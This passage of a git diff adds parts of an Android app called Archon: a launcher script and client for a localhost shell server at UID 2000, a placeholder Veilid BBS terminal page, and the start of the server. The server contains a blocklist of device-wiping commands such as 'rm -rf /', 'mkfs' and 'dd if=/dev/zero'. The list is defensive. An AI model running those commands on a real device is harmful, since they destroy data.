</intent-filter>
|
||||
</activity>
|
||||
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
54
autarch_companion/app/src/main/assets/arish
Normal file
54
autarch_companion/app/src/main/assets/arish
Normal file
@@ -0,0 +1,54 @@
|
||||
#!/system/bin/sh
|
||||
# arish — Archon Remote Interactive Shell
|
||||
# Like Shizuku's "rish" but for the Archon privileged server.
|
||||
#
|
||||
# This script finds the Archon APK and launches ArchonRish via app_process,
|
||||
# which connects to the running ArchonServer and provides an interactive
|
||||
# shell at UID 2000 (shell-level privileges).
|
||||
#
|
||||
# Installation:
|
||||
# adb push arish /data/local/tmp/arish
|
||||
# adb shell chmod 755 /data/local/tmp/arish
|
||||
#
|
||||
# Usage:
|
||||
# /data/local/tmp/arish — interactive shell
|
||||
# /data/local/tmp/arish ls -la /data — single command
|
||||
# /data/local/tmp/arish -t <token> — specify auth token
|
||||
# /data/local/tmp/arish -p <port> — specify server port
|
||||
|
||||
PACKAGE="com.darkhal.archon"
|
||||
|
||||
# Find the APK path
|
||||
APK_PATH=""
|
||||
|
||||
# Method 1: pm path (works if pm is available)
|
||||
if command -v pm >/dev/null 2>&1; then
|
||||
APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://')
|
||||
fi
|
||||
|
||||
# Method 2: Known install locations
|
||||
if [ -z "$APK_PATH" ]; then
|
||||
for dir in /data/app/*"$PACKAGE"*; do
|
||||
if [ -f "$dir/base.apk" ]; then
|
||||
APK_PATH="$dir/base.apk"
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
# Method 3: Check /data/local/tmp for sideloaded APK
|
||||
if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then
|
||||
APK_PATH="/data/local/tmp/archon.apk"
|
||||
fi
|
||||
|
||||
if [ -z "$APK_PATH" ]; then
|
||||
echo "arish: cannot find Archon APK ($PACKAGE)"
|
||||
echo "arish: install the Archon app or place archon.apk in /data/local/tmp/"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Launch ArchonRish via app_process
|
||||
export CLASSPATH="$APK_PATH"
|
||||
exec /system/bin/app_process /system/bin \
|
||||
--nice-name=arish \
|
||||
com.darkhal.archon.server.ArchonRish "$@"
|
||||
28
autarch_companion/app/src/main/assets/bbs/index.html
Normal file
28
autarch_companion/app/src/main/assets/bbs/index.html
Normal file
@@ -0,0 +1,28 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
|
||||
<title>Autarch BBS</title>
|
||||
<link rel="stylesheet" href="terminal.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="terminal">
|
||||
<div id="header">
|
||||
<pre id="banner">
|
||||
╔══════════════════════════════════════╗
|
||||
║ AUTARCH BBS v1.0 ║
|
||||
║ Secured by Veilid Protocol ║
|
||||
╚══════════════════════════════════════╝
|
||||
</pre>
|
||||
</div>
|
||||
<div id="output"></div>
|
||||
<div id="input-line">
|
||||
<span class="prompt">></span>
|
||||
<input type="text" id="cmd-input" autocomplete="off" autocorrect="off"
|
||||
autocapitalize="off" spellcheck="false" autofocus>
|
||||
</div>
|
||||
</div>
|
||||
<script src="veilid-bridge.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
128
autarch_companion/app/src/main/assets/bbs/terminal.css
Normal file
128
autarch_companion/app/src/main/assets/bbs/terminal.css
Normal file
@@ -0,0 +1,128 @@
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
background: #000000;
|
||||
color: #00FF41;
|
||||
font-family: 'Source Code Pro', 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
line-height: 1.4;
|
||||
overflow: hidden;
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
}
|
||||
|
||||
#terminal {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
height: 100vh;
|
||||
padding: 8px;
|
||||
}
|
||||
|
||||
#header {
|
||||
flex-shrink: 0;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
#banner {
|
||||
color: #00FF41;
|
||||
font-size: 12px;
|
||||
line-height: 1.2;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#output {
|
||||
flex: 1;
|
||||
overflow-y: auto;
|
||||
padding-bottom: 8px;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
#output .line {
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
#output .system {
|
||||
color: #888888;
|
||||
}
|
||||
|
||||
#output .error {
|
||||
color: #FF4444;
|
||||
}
|
||||
|
||||
#output .info {
|
||||
color: #00AAFF;
|
||||
}
|
||||
|
||||
#output .success {
|
||||
color: #00FF41;
|
||||
}
|
||||
|
||||
#input-line {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-shrink: 0;
|
||||
border-top: 1px solid #333333;
|
||||
padding-top: 8px;
|
||||
}
|
||||
|
||||
.prompt {
|
||||
color: #00FF41;
|
||||
margin-right: 8px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
#cmd-input {
|
||||
flex: 1;
|
||||
background: transparent;
|
||||
border: none;
|
||||
outline: none;
|
||||
color: #00FF41;
|
||||
font-family: 'Source Code Pro', 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
caret-color: #00FF41;
|
||||
}
|
||||
|
||||
/* Blinking cursor effect */
|
||||
@keyframes blink {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0; }
|
||||
}
|
||||
|
||||
#cmd-input:focus {
|
||||
animation: none;
|
||||
}
|
||||
|
||||
/* Scrollbar */
|
||||
#output::-webkit-scrollbar {
|
||||
width: 4px;
|
||||
}
|
||||
|
||||
#output::-webkit-scrollbar-track {
|
||||
background: #111111;
|
||||
}
|
||||
|
||||
#output::-webkit-scrollbar-thumb {
|
||||
background: #333333;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
#output::-webkit-scrollbar-thumb:hover {
|
||||
background: #00FF41;
|
||||
}
|
||||
|
||||
/* Loading animation */
|
||||
.loading::after {
|
||||
content: '';
|
||||
animation: dots 1.5s steps(3, end) infinite;
|
||||
}
|
||||
|
||||
@keyframes dots {
|
||||
0% { content: ''; }
|
||||
33% { content: '.'; }
|
||||
66% { content: '..'; }
|
||||
100% { content: '...'; }
|
||||
}
|
||||
225
autarch_companion/app/src/main/assets/bbs/veilid-bridge.js
Normal file
225
autarch_companion/app/src/main/assets/bbs/veilid-bridge.js
Normal file
@@ -0,0 +1,225 @@
|
||||
/**
|
||||
* Autarch BBS — Veilid Bridge
|
||||
*
|
||||
* Handles the BBS terminal interface and will integrate with
|
||||
* veilid-wasm when the BBS server is deployed on the VPS.
|
||||
*
|
||||
* Native Android bridge: window.ArchonBridge
|
||||
*/
|
||||
|
||||
const output = document.getElementById('output');
|
||||
const cmdInput = document.getElementById('cmd-input');
|
||||
|
||||
// Terminal output helpers
|
||||
function writeLine(text, className) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'line' + (className ? ' ' + className : '');
|
||||
div.textContent = text;
|
||||
output.appendChild(div);
|
||||
output.scrollTop = output.scrollHeight;
|
||||
}
|
||||
|
||||
function writeSystem(text) { writeLine(text, 'system'); }
|
||||
function writeError(text) { writeLine(text, 'error'); }
|
||||
function writeInfo(text) { writeLine(text, 'info'); }
|
||||
function writeSuccess(text) { writeLine(text, 'success'); }
|
||||
|
||||
/**
|
||||
* VeilidBBS — placeholder for Veilid WASM integration.
|
||||
*
|
||||
* When the BBS server is deployed, this class will:
|
||||
* 1. Load veilid-wasm from bundled assets
|
||||
* 2. Initialize a Veilid routing context
|
||||
* 3. Connect to the BBS server via DHT key
|
||||
* 4. Send/receive messages through the Veilid network
|
||||
*/
|
||||
class VeilidBBS {
|
||||
constructor() {
|
||||
this.connected = false;
|
||||
this.serverAddress = '';
|
||||
}
|
||||
|
||||
async initialize() {
|
||||
// Get config from native bridge
|
||||
if (window.ArchonBridge) {
|
||||
this.serverAddress = window.ArchonBridge.getServerAddress();
|
||||
const configJson = window.ArchonBridge.getVeilidConfig();
|
||||
this.config = JSON.parse(configJson);
|
||||
this.log('Veilid config loaded');
|
||||
}
|
||||
}
|
||||
|
||||
async connect() {
|
||||
if (!this.serverAddress) {
|
||||
writeError('No BBS server address configured.');
|
||||
writeSystem('Set the Veilid BBS address in Settings.');
|
||||
return false;
|
||||
}
|
||||
|
||||
writeSystem('Connecting to Autarch BBS...');
|
||||
writeSystem('Server: ' + this.serverAddress);
|
||||
|
||||
// Placeholder — actual Veilid connection will go here
|
||||
// Steps when implemented:
|
||||
// 1. await veilid.veilidCoreStartupJSON(config)
|
||||
// 2. await veilid.veilidCoreAttach()
|
||||
// 3. Create routing context
|
||||
// 4. Open route to BBS server DHT key
|
||||
// 5. Send/receive via app_message / app_call
|
||||
|
||||
writeError('Veilid WASM not yet loaded.');
|
||||
writeSystem('BBS server deployment pending.');
|
||||
writeSystem('');
|
||||
writeInfo('The Autarch BBS will be available once the');
|
||||
writeInfo('VPS server is configured and the Veilid');
|
||||
writeInfo('WASM module is bundled into this app.');
|
||||
writeSystem('');
|
||||
return false;
|
||||
}
|
||||
|
||||
async sendMessage(msg) {
|
||||
if (!this.connected) {
|
||||
writeError('Not connected to BBS.');
|
||||
return;
|
||||
}
|
||||
// Placeholder for sending messages via Veilid
|
||||
this.log('Send: ' + msg);
|
||||
}
|
||||
|
||||
async disconnect() {
|
||||
this.connected = false;
|
||||
writeSystem('Disconnected from BBS.');
|
||||
}
|
||||
|
||||
log(msg) {
|
||||
if (window.ArchonBridge) {
|
||||
window.ArchonBridge.log(msg);
|
||||
}
|
||||
console.log('[VeilidBBS] ' + msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Command handler
|
||||
const bbs = new VeilidBBS();
|
||||
const commandHistory = [];
|
||||
let historyIndex = -1;
|
||||
|
||||
const commands = {
|
||||
help: function() {
|
||||
writeInfo('Available commands:');
|
||||
writeLine(' help — Show this help');
|
||||
writeLine(' connect — Connect to Autarch BBS');
|
||||
writeLine(' disconnect — Disconnect from BBS');
|
||||
writeLine(' status — Show connection status');
|
||||
writeLine(' clear — Clear terminal');
|
||||
writeLine(' about — About Autarch BBS');
|
||||
writeLine(' version — Show version info');
|
||||
},
|
||||
|
||||
connect: async function() {
|
||||
await bbs.connect();
|
||||
},
|
||||
|
||||
disconnect: async function() {
|
||||
await bbs.disconnect();
|
||||
},
|
||||
|
||||
status: function() {
|
||||
writeInfo('Connection Status:');
|
||||
writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO'));
|
||||
writeLine(' Server: ' + (bbs.serverAddress || 'not configured'));
|
||||
if (window.ArchonBridge) {
|
||||
writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl());
|
||||
}
|
||||
},
|
||||
|
||||
clear: function() {
|
||||
output.innerHTML = '';
|
||||
},
|
||||
|
||||
about: function() {
|
||||
writeInfo('╔════════════════════════════════════╗');
|
||||
writeInfo('║ AUTARCH BBS ║');
|
||||
writeInfo('╠════════════════════════════════════╣');
|
||||
writeLine('║ A decentralized bulletin board ║');
|
||||
writeLine('║ system secured by the Veilid ║');
|
||||
writeLine('║ protocol. All communications are ║');
|
||||
writeLine('║ end-to-end encrypted and routed ║');
|
||||
writeLine('║ through an onion-style network. ║');
|
||||
writeInfo('╚════════════════════════════════════╝');
|
||||
},
|
||||
|
||||
version: function() {
|
||||
let ver = '1.0.0';
|
||||
if (window.ArchonBridge) {
|
||||
ver = window.ArchonBridge.getAppVersion();
|
||||
}
|
||||
writeLine('Archon v' + ver);
|
||||
writeLine('Veilid WASM: not loaded (pending deployment)');
|
||||
}
|
||||
};
|
||||
|
||||
function processCommand(input) {
|
||||
const trimmed = input.trim();
|
||||
if (!trimmed) return;
|
||||
|
||||
writeLine('> ' + trimmed);
|
||||
commandHistory.push(trimmed);
|
||||
historyIndex = commandHistory.length;
|
||||
|
||||
const parts = trimmed.split(/\s+/);
|
||||
const cmd = parts[0].toLowerCase();
|
||||
|
||||
if (commands[cmd]) {
|
||||
commands[cmd](parts.slice(1));
|
||||
} else if (bbs.connected) {
|
||||
// If connected, send as BBS message
|
||||
bbs.sendMessage(trimmed);
|
||||
} else {
|
||||
writeError('Unknown command: ' + cmd);
|
||||
writeSystem('Type "help" for available commands.');
|
||||
}
|
||||
}
|
||||
|
||||
// Input handling
|
||||
cmdInput.addEventListener('keydown', function(e) {
|
||||
if (e.key === 'Enter') {
|
||||
processCommand(this.value);
|
||||
this.value = '';
|
||||
} else if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
if (historyIndex > 0) {
|
||||
historyIndex--;
|
||||
this.value = commandHistory[historyIndex];
|
||||
}
|
||||
} else if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
if (historyIndex < commandHistory.length - 1) {
|
||||
historyIndex++;
|
||||
this.value = commandHistory[historyIndex];
|
||||
} else {
|
||||
historyIndex = commandHistory.length;
|
||||
this.value = '';
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Keep input focused
|
||||
document.addEventListener('click', function() {
|
||||
cmdInput.focus();
|
||||
});
|
||||
|
||||
// Startup
|
||||
(async function() {
|
||||
writeSuccess('AUTARCH BBS Terminal v1.0');
|
||||
writeSystem('Initializing...');
|
||||
writeSystem('');
|
||||
|
||||
await bbs.initialize();
|
||||
|
||||
writeSystem('Type "help" for commands.');
|
||||
writeSystem('Type "connect" to connect to the BBS.');
|
||||
writeSystem('');
|
||||
|
||||
cmdInput.focus();
|
||||
})();
|
||||
@@ -0,0 +1,311 @@
|
||||
package com.darkhal.archon.server;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.net.InetAddress;
|
||||
import java.net.Socket;
|
||||
|
||||
/**
|
||||
* Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon.
|
||||
*
|
||||
* Connects to the running ArchonServer on localhost and provides an interactive
|
||||
* shell at UID 2000 (shell privileges). This gives terminal users the same
|
||||
* elevated access that the Archon app modules use internally.
|
||||
*
|
||||
* Usage (from adb shell or terminal emulator):
|
||||
* arish — interactive shell
|
||||
* arish <command> — execute single command
|
||||
* arish -t <token> — specify auth token
|
||||
* arish -p <port> — specify server port
|
||||
* echo "pm list packages" | arish — pipe commands
|
||||
*
|
||||
* The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process.
|
||||
*
|
||||
* Bootstrap:
|
||||
* CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \
|
||||
* --nice-name=arish com.darkhal.archon.server.ArchonRish [args...]
|
||||
*/
|
||||
public class ArchonRish {
|
||||
|
||||
private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token";
|
||||
private static final int DEFAULT_PORT = 17321;
|
||||
private static final int CONNECT_TIMEOUT = 3000;
|
||||
private static final int READ_TIMEOUT = 30000;
|
||||
|
||||
public static void main(String[] args) {
|
||||
String token = null;
|
||||
int port = DEFAULT_PORT;
|
||||
String singleCmd = null;
|
||||
boolean showHelp = false;
|
||||
|
||||
// Parse arguments
|
||||
int i = 0;
|
||||
while (i < args.length) {
|
||||
switch (args[i]) {
|
||||
case "-t":
|
||||
case "--token":
|
||||
if (i + 1 < args.length) {
|
||||
token = args[++i];
|
||||
}
|
||||
break;
|
||||
case "-p":
|
||||
case "--port":
|
||||
if (i + 1 < args.length) {
|
||||
port = Integer.parseInt(args[++i]);
|
||||
}
|
||||
break;
|
||||
case "-h":
|
||||
case "--help":
|
||||
showHelp = true;
|
||||
break;
|
||||
default:
|
||||
// Everything else is a command to execute
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int j = i; j < args.length; j++) {
|
||||
if (j > i) sb.append(' ');
|
||||
sb.append(args[j]);
|
||||
}
|
||||
singleCmd = sb.toString();
|
||||
i = args.length; // break outer loop
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (showHelp) {
|
||||
printHelp();
|
||||
return;
|
||||
}
|
||||
|
||||
// Try to read token from file if not provided
|
||||
if (token == null) {
|
||||
token = readTokenFile();
|
||||
}
|
||||
if (token == null) {
|
||||
System.err.println("arish: no auth token. Use -t <token> or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
// Check if stdin is a pipe (non-interactive)
|
||||
boolean isPiped = false;
|
||||
try {
|
||||
isPiped = System.in.available() > 0 || singleCmd != null;
|
||||
} catch (Exception e) {
|
||||
// Assume interactive
|
||||
}
|
||||
|
||||
if (singleCmd != null) {
|
||||
// Single command mode
|
||||
int exitCode = executeRemote(token, port, singleCmd);
|
||||
System.exit(exitCode);
|
||||
} else if (isPiped) {
|
||||
// Pipe mode — read commands from stdin
|
||||
runPiped(token, port);
|
||||
} else {
|
||||
// Interactive mode
|
||||
runInteractive(token, port);
|
||||
}
|
||||
}
|
||||
|
||||
private static void runInteractive(String token, int port) {
|
||||
System.out.println("arish — Archon Remote Interactive Shell (UID 2000)");
|
||||
System.out.println("Connected to ArchonServer on localhost:" + port);
|
||||
System.out.println("Type 'exit' to quit.\n");
|
||||
|
||||
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
|
||||
|
||||
while (true) {
|
||||
System.out.print("arish$ ");
|
||||
System.out.flush();
|
||||
|
||||
String line;
|
||||
try {
|
||||
line = stdin.readLine();
|
||||
} catch (Exception e) {
|
||||
break;
|
||||
}
|
||||
if (line == null) break; // EOF
|
||||
line = line.trim();
|
||||
if (line.isEmpty()) continue;
|
||||
if (line.equals("exit") || line.equals("quit")) break;
|
||||
|
||||
executeRemote(token, port, line);
|
||||
}
|
||||
|
||||
System.out.println("\narish: disconnected");
|
||||
}
|
||||
|
||||
private static void runPiped(String token, int port) {
|
||||
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
|
||||
int lastExit = 0;
|
||||
try {
|
||||
String line;
|
||||
while ((line = stdin.readLine()) != null) {
|
||||
line = line.trim();
|
||||
if (line.isEmpty() || line.startsWith("#")) continue;
|
||||
lastExit = executeRemote(token, port, line);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
System.err.println("arish: read error: " + e.getMessage());
|
||||
}
|
||||
System.exit(lastExit);
|
||||
}
|
||||
|
||||
private static int executeRemote(String token, int port, String command) {
|
||||
try {
|
||||
InetAddress loopback = InetAddress.getByName("127.0.0.1");
|
||||
Socket sock = new Socket();
|
||||
sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT);
|
||||
sock.setSoTimeout(READ_TIMEOUT);
|
||||
|
||||
PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true);
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
|
||||
|
||||
// Send command as JSON
|
||||
String json = "{\"token\":\"" + escapeJson(token) + "\","
|
||||
+ "\"cmd\":\"" + escapeJson(command) + "\","
|
||||
+ "\"timeout\":30}";
|
||||
writer.println(json);
|
||||
writer.flush();
|
||||
|
||||
// Read response
|
||||
String response = reader.readLine();
|
||||
sock.close();
|
||||
|
||||
if (response == null) {
|
||||
System.err.println("arish: no response from server");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Parse JSON response (minimal hand-parsing, same as ArchonServer pattern)
|
||||
String stdout = extractJsonString(response, "stdout");
|
||||
String stderr = extractJsonString(response, "stderr");
|
||||
int exitCode = extractJsonInt(response, "exit_code", -1);
|
||||
|
||||
if (stdout != null && !stdout.isEmpty()) {
|
||||
System.out.print(stdout);
|
||||
if (!stdout.endsWith("\n")) System.out.println();
|
||||
}
|
||||
if (stderr != null && !stderr.isEmpty()) {
|
||||
System.err.print(stderr);
|
||||
if (!stderr.endsWith("\n")) System.err.println();
|
||||
}
|
||||
|
||||
return exitCode;
|
||||
|
||||
} catch (java.net.ConnectException e) {
|
||||
System.err.println("arish: cannot connect to ArchonServer on localhost:" + port);
|
||||
System.err.println("arish: is the server running? Check Setup tab in Archon app.");
|
||||
return -1;
|
||||
} catch (Exception e) {
|
||||
System.err.println("arish: error: " + e.getMessage());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
// ── JSON Helpers (hand-rolled, no library dependencies) ──────
|
||||
|
||||
private static String escapeJson(String s) {
|
||||
if (s == null) return "";
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int j = 0; j < s.length(); j++) {
|
||||
char c = s.charAt(j);
|
||||
switch (c) {
|
||||
case '"': sb.append("\\\""); break;
|
||||
case '\\': sb.append("\\\\"); break;
|
||||
case '\n': sb.append("\\n"); break;
|
||||
case '\r': sb.append("\\r"); break;
|
||||
case '\t': sb.append("\\t"); break;
|
||||
default: sb.append(c); break;
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
String searchKey = "\"" + key + "\":\"";
|
||||
int start = json.indexOf(searchKey);
|
||||
if (start < 0) return "";
|
||||
start += searchKey.length();
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
boolean escape = false;
|
||||
for (int j = start; j < json.length(); j++) {
|
||||
char c = json.charAt(j);
|
||||
if (escape) {
|
||||
switch (c) {
|
||||
case 'n': sb.append('\n'); break;
|
||||
case 'r': sb.append('\r'); break;
|
||||
case 't': sb.append('\t'); break;
|
||||
case '"': sb.append('"'); break;
|
||||
case '\\': sb.append('\\'); break;
|
||||
default: sb.append(c); break;
|
||||
}
|
||||
escape = false;
|
||||
} else if (c == '\\') {
|
||||
escape = true;
|
||||
} else if (c == '"') {
|
||||
break;
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static int extractJsonInt(String json, String key, int defaultValue) {
|
||||
// Try "key":N pattern
|
||||
String searchKey = "\"" + key + "\":";
|
||||
int start = json.indexOf(searchKey);
|
||||
if (start < 0) return defaultValue;
|
||||
start += searchKey.length();
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int j = start; j < json.length(); j++) {
|
||||
char c = json.charAt(j);
|
||||
if (c == '-' || (c >= '0' && c <= '9')) {
|
||||
sb.append(c);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
try {
|
||||
return Integer.parseInt(sb.toString());
|
||||
} catch (NumberFormatException e) {
|
||||
return defaultValue;
|
||||
}
|
||||
}
|
||||
|
||||
private static String readTokenFile() {
|
||||
try {
|
||||
java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE);
|
||||
if (!f.exists()) return null;
|
||||
BufferedReader br = new BufferedReader(new java.io.FileReader(f));
|
||||
String token = br.readLine();
|
||||
br.close();
|
||||
if (token != null) token = token.trim();
|
||||
return (token != null && !token.isEmpty()) ? token : null;
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static void printHelp() {
|
||||
System.out.println("arish — Archon Remote Interactive Shell");
|
||||
System.out.println();
|
||||
System.out.println("Usage:");
|
||||
System.out.println(" arish Interactive shell (UID 2000)");
|
||||
System.out.println(" arish <command> Execute single command");
|
||||
System.out.println(" arish -t <token> Specify auth token");
|
||||
System.out.println(" arish -p <port> Specify server port (default: 17321)");
|
||||
System.out.println(" echo \"cmd\" | arish Pipe commands");
|
||||
System.out.println();
|
||||
System.out.println("The ArchonServer must be running (start from the Archon app Setup tab).");
|
||||
System.out.println("Commands execute at UID 2000 (shell) — same as adb shell.");
|
||||
System.out.println();
|
||||
System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified.");
|
||||
System.out.println("The Archon app writes this file when the server starts.");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,380 @@
|
||||
package com.darkhal.archon.server;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileWriter;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.net.InetAddress;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketTimeoutException;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
import java.util.Locale;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
/**
|
||||
* Archon Privileged Server — runs via app_process at shell (UID 2000) level.
|
||||
*
|
||||
* Started via ADB:
|
||||
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
|
||||
* --nice-name=archon_server com.darkhal.archon.server.ArchonServer <token> <port>
|
||||
*
|
||||
* Listens on localhost:<port> for JSON commands authenticated with a token.
|
||||
* Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC.
|
||||
*
|
||||
* Protocol (JSON over TCP, newline-delimited):
|
||||
* Request: {"token":"xxx","cmd":"pm list packages","timeout":30}
|
||||
* Response: {"stdout":"...","stderr":"...","exit_code":0}
|
||||
*
|
||||
* Special commands:
|
||||
* {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0}
|
||||
* {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully
|
||||
* {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0}
|
||||
*/
|
||||
public class ArchonServer {
|
||||
|
||||
private static final String TAG = "ArchonServer";
|
||||
private static final String LOG_FILE = "/data/local/tmp/archon_server.log";
|
||||
private static final int DEFAULT_TIMEOUT = 30;
|
||||
private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking)
|
||||
|
||||
// Safety blocklist — commands that could brick the device
|
||||
private static final String[] BLOCKED_PATTERNS = {
|
||||
"rm -rf /",
|
||||
"rm -rf /*",
|
||||
"mkfs",
|
||||
"dd if=/dev/zero",
|
||||
"reboot",
|
||||
"shutdown",
|
||||
"init 0",
|
||||
"init 6",
|
||||
"flash_image",
|
||||
"erase_image",
|
||||
"format_data",
|
||||
"> /dev/block",
|
||||
};
|
||||
|
||||
private static String authToken;
|
||||
private static int listenPort;
|
||||
private static final AtomicBoolean running = new AtomicBoolean(true);
|
||||
private static ExecutorService executor;
|
||||
private static long startTime;
|
||||
|
||||
public static void main(String[] args) {
|
||||
if (args.length < 2) {
|
||||
System.err.println("Usage: ArchonServer <token> <port>");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
authToken = args[0];
|
||||
listenPort = Integer.parseInt(args[1]);
|
||||
startTime = System.currentTimeMillis();
|
||||
|
||||
log("Starting Archon Server on port " + listenPort);
|
||||
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
|
||||
|
||||
// Handle SIGTERM for graceful shutdown
|
||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||
log("Shutdown hook triggered");
|
||||
running.set(false);
|
||||
if (executor != null) {
|
||||
executor.shutdownNow();
|
||||
}
|
||||
}));
|
||||
|
||||
executor = Executors.newCachedThreadPool();
|
||||
|
||||
try {
|
||||
// Bind to localhost only — not accessible from network
|
||||
InetAddress loopback = InetAddress.getByName("127.0.0.1");
|
||||
ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback);
|
||||
log("Listening on 127.0.0.1:" + listenPort);
|
||||
|
||||
while (running.get()) {
|
||||
try {
|
||||
Socket client = serverSocket.accept();
|
||||
client.setSoTimeout(60000); // 60s read timeout per connection
|
||||
executor.submit(() -> handleClient(client));
|
||||
} catch (SocketTimeoutException e) {
|
||||
// Expected, loop continues
|
||||
} catch (IOException e) {
|
||||
if (running.get()) {
|
||||
log("Accept error: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
serverSocket.close();
|
||||
} catch (IOException e) {
|
||||
log("Fatal: " + e.getMessage());
|
||||
System.exit(2);
|
||||
}
|
||||
|
||||
log("Server stopped");
|
||||
if (executor != null) {
|
||||
executor.shutdown();
|
||||
try {
|
||||
executor.awaitTermination(5, TimeUnit.SECONDS);
|
||||
} catch (InterruptedException ignored) {}
|
||||
}
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
private static void handleClient(Socket client) {
|
||||
String clientAddr = client.getRemoteSocketAddress().toString();
|
||||
log("Client connected: " + clientAddr);
|
||||
|
||||
try (
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
|
||||
PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true)
|
||||
) {
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
String response = processRequest(line);
|
||||
writer.println(response);
|
||||
writer.flush();
|
||||
|
||||
// Check if we should shut down after this request
|
||||
if (!running.get()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (IOException e) {
|
||||
log("Client error: " + e.getMessage());
|
||||
} finally {
|
||||
try { client.close(); } catch (IOException ignored) {}
|
||||
log("Client disconnected: " + clientAddr);
|
||||
}
|
||||
}
|
||||
|
||||
private static String processRequest(String json) {
|
||||
// Simple JSON parsing without dependencies
|
||||
String token = extractJsonString(json, "token");
|
||||
String cmd = extractJsonString(json, "cmd");
|
||||
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
|
||||
|
||||
// No-auth alive check — allows any client to verify server is running
|
||||
if ("__alive__".equals(cmd)) {
|
||||
return jsonResponse("alive", "", 0);
|
||||
}
|
||||
|
||||
